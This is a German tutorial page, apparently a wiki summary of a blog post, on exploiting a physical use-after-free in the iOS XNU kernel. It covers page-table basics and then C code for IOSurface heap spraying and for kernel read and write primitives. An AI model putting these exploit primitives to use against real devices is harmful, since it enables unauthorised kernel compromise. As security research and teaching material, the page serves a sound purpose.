iOS Exploiting
Reading time: 7 minutes
Physikalisches Use-After-Free
Dies ist eine Zusammenfassung des Beitrags von https://alfiecg.uk/2024/09/24/Kernel-exploit.html. Weitere Informationen über Exploits, die diese Technik verwenden, finden Sie unter https://github.com/felix-pb/kfd.
Speicherverwaltung in XNU
Der virtuelle Adressraum für Benutzerprozesse auf iOS reicht von 0x0 bis 0x8000000000. Diese Adressen sind jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der Kernel Seiten-Tabellen, um virtuelle Adressen in tatsächliche physische Adressen zu übersetzen.
Ebenen der Seiten-Tabellen in iOS
Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
- L1-Seitentabelle (Ebene 1):
- Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers.
- Sie deckt 0x1000000000 Bytes (oder 256 GB) virtuellen Speicher ab.
- L2-Seitentabelle (Ebene 2):
- Ein Eintrag hier repräsentiert einen kleineren Bereich virtuellen Speichers, speziell 0x2000000 Bytes (32 MB).
- Ein L1-Eintrag kann auf eine L2-Tabelle verweisen, wenn er den gesamten Bereich nicht selbst abbilden kann.
- L3-Seitentabelle (Ebene 3):
- Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne 4 KB Speicherseite abbildet.
- Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
Abbildung von virtuellem zu physischem Speicher
- Direkte Abbildung (Blockabbildung):
- Einige Einträge in einer Seiten-Tabelle bilden einen Bereich virtueller Adressen auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
- Zeiger auf die Kind-Seitentabelle:
- Wenn eine genauere Kontrolle erforderlich ist, kann ein Eintrag in einer Ebene (z. B. L1) auf eine Kind-Seitentabelle in der nächsten Ebene (z. B. L2) verweisen.
Beispiel: Abbildung einer virtuellen Adresse
Angenommen, Sie versuchen, auf die virtuelle Adresse 0x1000000000 zuzugreifen:
- L1-Tabelle:
- Der Kernel überprüft den L1-Seitentabelleneintrag, der dieser virtuellen Adresse entspricht. Wenn er einen Zeiger auf eine L2-Seitentabelle hat, geht er zu dieser L2-Tabelle.
- L2-Tabelle:
- Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine L3-Seitentabelle verweist, fährt er dort fort.
- L3-Tabelle:
- Der Kernel sucht den endgültigen L3-Eintrag, der auf die physische Adresse der tatsächlichen Speicherseite verweist.
Beispiel für die Adressabbildung
Wenn Sie die physische Adresse 0x800004000 in den ersten Index der L2-Tabelle schreiben, dann:
- Virtuelle Adressen von 0x1000000000 bis 0x1002000000 werden auf physische Adressen von 0x800004000 bis 0x802004000 abgebildet.
- Dies ist eine Blockabbildung auf der L2-Ebene.
Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle verweist:
- Jede 4 KB-Seite im virtuellen Adressbereich 0x1000000000 -> 0x1002000000 würde durch einzelne Einträge in der L3-Tabelle abgebildet.
Physikalisches Use-After-Free
Ein physikalisches Use-After-Free (UAF) tritt auf, wenn:
- Ein Prozess Speicher als lesbar und schreibbar allokiert.
- Die Seiten-Tabellen werden aktualisiert, um diesen Speicher auf eine spezifische physische Adresse abzubilden, auf die der Prozess zugreifen kann.
- Der Prozess den Speicher deallokiert (freigibt).
- Aufgrund eines Bugs vergisst der Kernel, die Abbildung aus den Seiten-Tabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
- Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie Kernel-Daten, reallokieren.
- Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin lesen und schreiben in diesen physischen Speicher.
Das bedeutet, dass der Prozess auf Seiten des Kernel-Speichers zugreifen kann, die möglicherweise sensible Daten oder Strukturen enthalten, was einem Angreifer potenziell ermöglicht, den Kernel-Speicher zu manipulieren.
Exploitation-Strategie: Heap Spray
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf den freigegebenen Speicher zugewiesen werden, verwenden sie eine Technik namens Heap Spray:
- Der Angreifer erstellt eine große Anzahl von IOSurface-Objekten im Kernel-Speicher.
- Jedes IOSurface-Objekt enthält einen magischen Wert in einem seiner Felder, was die Identifizierung erleichtert.
- Sie scannen die freigegebenen Seiten, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
- Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um Kernel-Speicher zu lesen und zu schreiben.
Weitere Informationen dazu finden Sie unter https://github.com/felix-pb/kfd/tree/main/writeups.
Schritt-für-Schritt Heap Spray-Prozess
- IOSurface-Objekte sprühen: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
- Freigegebene Seiten scannen: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
- Kernel-Speicher lesen/schreiben: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Möglichkeit, willkürliche Lese- und Schreibvorgänge im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
- Ein Feld zu verwenden, um einen beliebigen 32-Bit-Wert im Kernel-Speicher zu lesen.
- Ein anderes Feld zu verwenden, um 64-Bit-Werte zu schreiben, wodurch eine stabile Kernel-Lese-/Schreibprimitive erreicht wird.
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE_MAGIC, um später danach zu suchen:
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
Suche nach IOSurface
-Objekten in einer freigegebenen physischen Seite:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Erreichen von Kernel Lese-/Schreibzugriff mit IOSurface
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, zugeordnet) erlangt haben, können wir es für willkürliche Kernel-Lese- und Schreiboperationen verwenden.
Wichtige Felder in IOSurface
Das IOSurface-Objekt hat zwei entscheidende Felder:
- Use Count Pointer: Ermöglicht einen 32-Bit-Lesezugriff.
- Indexed Timestamp Pointer: Ermöglicht einen 64-Bit-Schreibzugriff.
Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen im Kernel-Speicher um, was Lese-/Schreibfähigkeiten ermöglicht.
32-Bit Kernel Lesezugriff
Um einen Lesezugriff durchzuführen:
- Überschreiben Sie den Use Count Pointer, um auf die Zieladresse minus einem 0x14-Byte-Offset zu zeigen.
- Verwenden Sie die Methode
get_use_count
, um den Wert an dieser Adresse zu lesen.
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Write
Um einen Schreibvorgang durchzuführen:
- Überschreiben Sie den indizierten Zeitstempelzeiger mit der Zieladresse.
- Verwenden Sie die Methode
set_indexed_timestamp
, um einen 64-Bit-Wert zu schreiben.
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
Exploit Flow Recap
- Trigger Physical Use-After-Free: Freie Seiten sind zur Wiederverwendung verfügbar.
- Spray IOSurface Objects: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher zuweisen.
- Identify Accessible IOSurface: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
- Abuse Use-After-Free: Zeiger im IOSurface-Objekt ändern, um beliebige Kernel-Lese-/Schreibvorgänge über IOSurface-Methoden zu ermöglichen.
Mit diesen Primitiven bietet der Exploit kontrollierte 32-Bit-Lesevorgänge und 64-Bit-Schreibvorgänge im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitive erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern.